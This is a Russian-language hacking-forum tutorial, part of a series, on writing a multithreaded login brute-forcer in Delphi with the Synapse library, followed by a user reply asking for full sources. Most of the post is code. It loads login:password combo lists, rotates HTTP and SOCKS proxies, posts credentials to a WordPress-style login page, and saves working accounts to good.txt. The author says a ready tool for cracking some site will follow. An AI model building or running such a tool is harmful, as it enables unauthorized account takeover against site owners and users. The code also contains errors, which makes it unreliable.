• Что бы вступить в ряды "Принятый кодер" Вам нужно:
    Написать 10 полезных сообщений или тем и Получить 10 симпатий.
    Для того кто не хочет терять время,может пожертвовать средства для поддержки сервеса, и вступить в ряды VIP на месяц, дополнительная информация в лс.

  • Пользаватели которые будут спамить, уходят в бан без предупреждения. Спам сообщения определяется администрацией и модератором.

  • Гость, Что бы Вы хотели увидеть на нашем Форуме? Изложить свои идеи и пожелания по улучшению форума Вы можете поделиться с нами здесь. ----> Перейдите сюда
  • Все пользователи не прошедшие проверку электронной почты будут заблокированы. Все вопросы с разблокировкой обращайтесь по адресу электронной почте : info@guardianelinks.com . Не пришло сообщение о проверке или о сбросе также сообщите нам.

Пишем Brute На Delphi. Часть 4. Brute На Synapse

Sascha Оффлайн

Sascha

Заместитель Администратора
Команда форума
Администратор
Регистрация
9 Май 2015
Сообщения
1,227
Баллы
155
Сегодня, после долгого перерыва, рассмотрим написание многопоточного Brute по той же технологии, что и в предыдущей статье, с тем лишь условием, что писать его будем не с помощью vcl (idhttp), а с помощью библиотеки Synapse.
Автор предполагает, что сию библиотеку вы благополучно установили сами (благо в google.com информации немыслимое количество :) ).
Итак, первым делом разберёмся, что за это такая библиотека и что же такого плохого в Indy. Ну как минимум то, что Indy - компоненты могут выдать ошибку там, где её быть не должно в принципе (у кого как, а это личное наблюдение), поэтому Synapse в этом плане в разы стабильнее.
Ну, начнём.

Для начала делаем дизайн. Тут уж как кому заблагорассудится. У меня получилось что-то вроде этого:1.png

В Combobox'е TypeProxy задаём 4 типа, с которыми придётся работать бруту:

HTTP/HTTPS
Socks4
Socks5

И начинаем писать. Сначала забиндим кнопки "Загрузить базу login/pass" и "Загрузить список Proxy":
Код:
var
listacc: TStringList;
FormCreate:
Код:
listacc:= TStringList.Create;
onclick:
Код:
begin
form1.OP1.InitialDir:= extractfiledir(application.ExeName); //Дир-ия по-умолчанию будет дирректория приложения
if form1.OP1.Execute then //Если OpenDialog1 вызван, тогда:
  begin
    listacc.Clear; //Очищаем StringList
    listacc.LoadFromFile(form1.OP1.FileName); //Загружаем в listacc открытый файл
    form1.SB1.Panels[0].Width:= 120; //Задаём ширину 1-ой панели
    form1.SB1.Panels[0].Text:= 'number: '+ inttostr(listacc.Count); //Задаём текст 1-ой панели
  end;
end;
Тем самым мы загрузили список Login :; Pass

Аналогичные действия делаем с кнопкой "Загрузить список Proxy":
Код:
var
ProxyList: TStringList;
FormCreate:
Код:
ProxyList:= TStringList.Create;
onclick:
Код:
begin
form1.OP1.InitialDir:= extractfiledir(application.ExeName); //Дир-ия по-умолчанию будет дирректория приложения
if form1.OP1.Execute then //Если OpenDialog1 вызван, тогда:
  begin
    ProxyList.Clear; //Очищаем StringList
    ProxyList.LoadFromFile(form1.OP1.FileName); //Загружаем в listacc открытый файл
    form1.SB1.Panels[1].Width:= 120; //Задаём ширину 1-ой панели
    form1.SB1.Panels[1].Text:= 'proxy: '+ inttostr(ProxyList.Count); //Задаём текст 1-ой панели
  end;
end;
Тем самым мы загрузили список Proxy.

Идём дальше. А дальше у нас кнопка Start, которая будет после нескольких действий вызывать Execute потока. Но обо всё по-порядку. В публичную секцию переменных кинем:
Код:
var
GoodFile, BadFile:textfile;
Ну и первым делом на кнопке Start пропишем создание этих файлов:
Код:
AssignFile(GOODFile,ExtractFileDir(Application.ExeName)+'good.txt');
Rewrite(GoodFile);
CloseFile(GoodFile);

AssignFile(BadFile,ExtractFileDir(Application.ExeName)+'bad.txt');
Rewrite(BadFile);
CloseFile(BadFile);
Далее идёт определение разделителя (да-да, именно этот "огромный" код почему-то выдают за супер фичу, которую пишут в особенностях брута):
Код:
var
delitel: String;
onclick:
Код:
if pos(':', listacc.text) <> 0 then
delitel:= ':' else delitel:= ';';
Далее определим тип proxy:
Код:
var
ProxyType: String;
onclick:
Код:
if form1.typeProxy.ItemIndex = 0 then //typeProxy - name Combobox'а
ProxyType = 'http' else ProxyType:= 'socks';
Теперь обнуляем переменные и запускаем цикл. Ничего нового, тут уже как в прошлой части:
Код:
var
acc, thread: integer;
onclick:
Код:
Acc:=-1;
Work:=true;
for Thread:=0 to strtoint(txtthread.TExt) do
begin
  pwpotok.Create(false);
end;
  Thread:=strtoint(form1.txtthread.TExt);
end;
Соответственно надо не забыть создать поток ;) :
Код:
type
  pwpotok = class(TThread)
  private
    { Private declarations }
  protected
    procedure Execute; override;
  end;

procedure pwpotok.Execute;
begin

end;
Почему поток не запустится? Правильно, потому что конструктор не сказал, что ему делать при запуске. Исправим, создав конструктор:

В секции type потока объявим раздел PUBLIC, где укажем конструктор:
Код:
type
..
public
    constructor Create(CreateSuspended: Boolean);


constructor pwpotok.Create(CreateSuspended: Boolean);
begin
inherited Create(CreateSuspended);
end;
Теперь то, что почти не затронул в прошлых уроках. Несколько слов о конструкторах, о ключевом слове inherited.
Конструктор, грубо говоря, чем-то поход на метод (например .Create). Он вызывается в начале работы программы, проверяет заданные в нём инструкции и выполняет их. Конструктор, прежде всего, предназначен для создания объекта из класса. Т.е. вы пишете класс, унаследованный от какого либо объекта, и в нём прописываете конструктор, в котором задаёте какие-либо действия. Эти действия выполнятся при запуске программы. Соответственно есть и деструкторы классов. Тоже самое что и конструкторы, но вызываются в конце работы программы и используются для уничтожения объекта. Подразумевается, что имена своим конструкторам и деструкторам вы будете давать Create и Destroy соответственно.

Ключевое слово inherited используется тогда, когда нужно для текущего класса вызвать конструктор родительского класса как соответствующий. Т.е. класс является наследником какого-либо объекта, и прописав для него inherited вы скажете, что для данного класса-наследник конструктором будет тот конструктор, который стоит по-умолчанию у объекта-родителя.

Едем дальше. А дальше то, что собственно и есть главной функцией брута - запросы. Описываются они, как уже понятно, в методе Execute потока. Теперь важно определить, для какого сайта или движка будем писать брут. Я выберу типичный wordpress, что бы не усложнять код. В вордпрессе, как мы помним, в запросе надо передать 2 обязательных параметра: log и pwd.
Код:
Procedure pwpotok.Execute;
var CurAcc, TP:integer; // Настоящий логин/пароль и настоящий proxy
    HTTP:THTTPSend; //Переменная типа THttpSend, сама библиотека Synapse
    IP, Port:string; //Порт и адрес Proxy
    data:TStringStream; //переменная типа TStringStream, куда будут ложиться параметры запроса
    HTML, src:TStringList; // StringList'ы
begin
while Work do //Тут всё аналогично с idhttp, лишь в критической секции добавляется контроль за списком Proxy
  begin

   CS.Enter;
    Inc(Acc);
    if Acc<listacc.Count-1 then CurAcc:=Acc else Work:=false;
    if 1<Proxylist.Count-1 then TP:=1 else begin end;
   CS.Leave;

   if Work then
    begin

     //copy login
     FLogin:= Copy(listacc[CurAcc],1,Pos(delitel,listacc[CurAcc])-1);
     FPassword:= Copy(listacc[CurAcc],Pos(delitel,listacc[CurAcc])+1,Length(listacc[CurAcc]));
     ShowMessage(flogin+' : '+fpassword);

     //copy proxy
     if ProxyList.Text = '' then
     begin
      sleep(0);
     end
      else
     begin
     IP:=Copy(ProxyList[TP], 1, Pos(':', ProxyList[TP])-1);
     Port:=Copy(ProxyList[TP],Pos(':',ProxyList[TP])+1,Length(ProxyList[TP]));
     end;

     HTTP:=THTTPSend.Create; //А теперь пошёл в бой Synapse.
     //Заголовки
     with HTTP do begin // что такое заголовки запроса ты знать должен. Копируем их из сниффера.
      Headers.Add('Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01');      MimeType:='application/x-www-form-urlencoded';
      Headers.Add('Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3');
      Headers.Add('Connection: keep-alive');
     end;

     //POST
     data:=Tstringstream.Create; //Инициаллизируем
     data.WriteString('log='+ Flogin+'&pwd='+ Fpassword); //Добавляем параметры
     HTTP.Document.LoadFromStream(data); //Загружаем

     //Выставляем Proxy
     if Proxylist.Text = '' then
      begin
      sleep(0)
      end else
     begin
     //socks
     if proxytype='socks' then
     begin
     HTTP.Sock.SocksIP:=IP;
     HTTP.Sock.SocksPort:=Port;
     end;
     //HTTP
     if proxytype='http' then
     begin
     HTTP.ProxyHost:=IP;
     HTTP.ProxyPort:=Port;
     end;
     end;

//Отправляем запрос
     if HTTP.HTTPMethod('POST', 'http://site.ru/login.php') then begin
     if pos('Set-Cookie: pwd=', HTTP.Headers.Text)<>0 then //Проверяем успешна-ли авторизация
     Rezult:=1 else Rezult:=-1;

     HTTP.Free;
     src.Free;
     data.Free;
     Synchronize(Sunch);
    end;
  end;

dec(Thread);
if Thread=0 then ShowMessage('Всё ок');
end;
end;
Ну и процедура синхронизации:
Код:
procedure pwpotok.Synch;
begin
case Rezult of // если Rezult =
1: begin // 1, то:
    form1.SB1.Panels[4].Text:= form1.SB1.Panels[3].Text + inttostr(strtoint(form1.SB1.Panels[3].Text)+1);
    Append(GoodFile); // открываем для записи файл GoodFile
    WriteLn(GoodFile, FLogin+':'+FPassword); // Записываем в него логин : пароль
    closefile(GoodFile); // закрываем
   end;
-1: begin
    form1.SB1.Panels[4].Text:= form1.SB1.Panels[4].Text + inttostr(strtoint(form1.SB1.Panels[4].Text)+1);
    Append(BadFile); // аналогично
    WriteLn(BadFile, FLogin+':'+FPassword);
    closefile(BadFile);
   end;
end;
end;
Здесь всё так же, как и в предыдущей статье по бруту на обычных idhttp.
Собственно примерно так и пишется движок брута на Synapse. Все настройки дополняются уже исходя из сайта, который нужно забрутить. На основе этого исходника я в скором времени выложу готовый проект, нацеленный на брут какого-либо сайта.

Спасибо за внимание.



Пожалуйста Авторизируйтесь или Зарегистрируйтесь для просмотра скрытого текста.

 
zloy Оффлайн

zloy

Принятый Кодер
Регистрация
9 Янв 2016
Сообщения
38
Баллы
50
по бруту проще всего исходники выложить, кусками код неочень

можешь сделать для примера многопоточную отправку цифр например
сайт yandex.ru
из тхт файла беруться цифры
запросы вида
POST threed=1
POST threed=2
POST threed=3
на любой сайт тот же yandex.ru
ну и прокси к этому делу такой пример был бы самым оптимальным
 
Вверх Снизу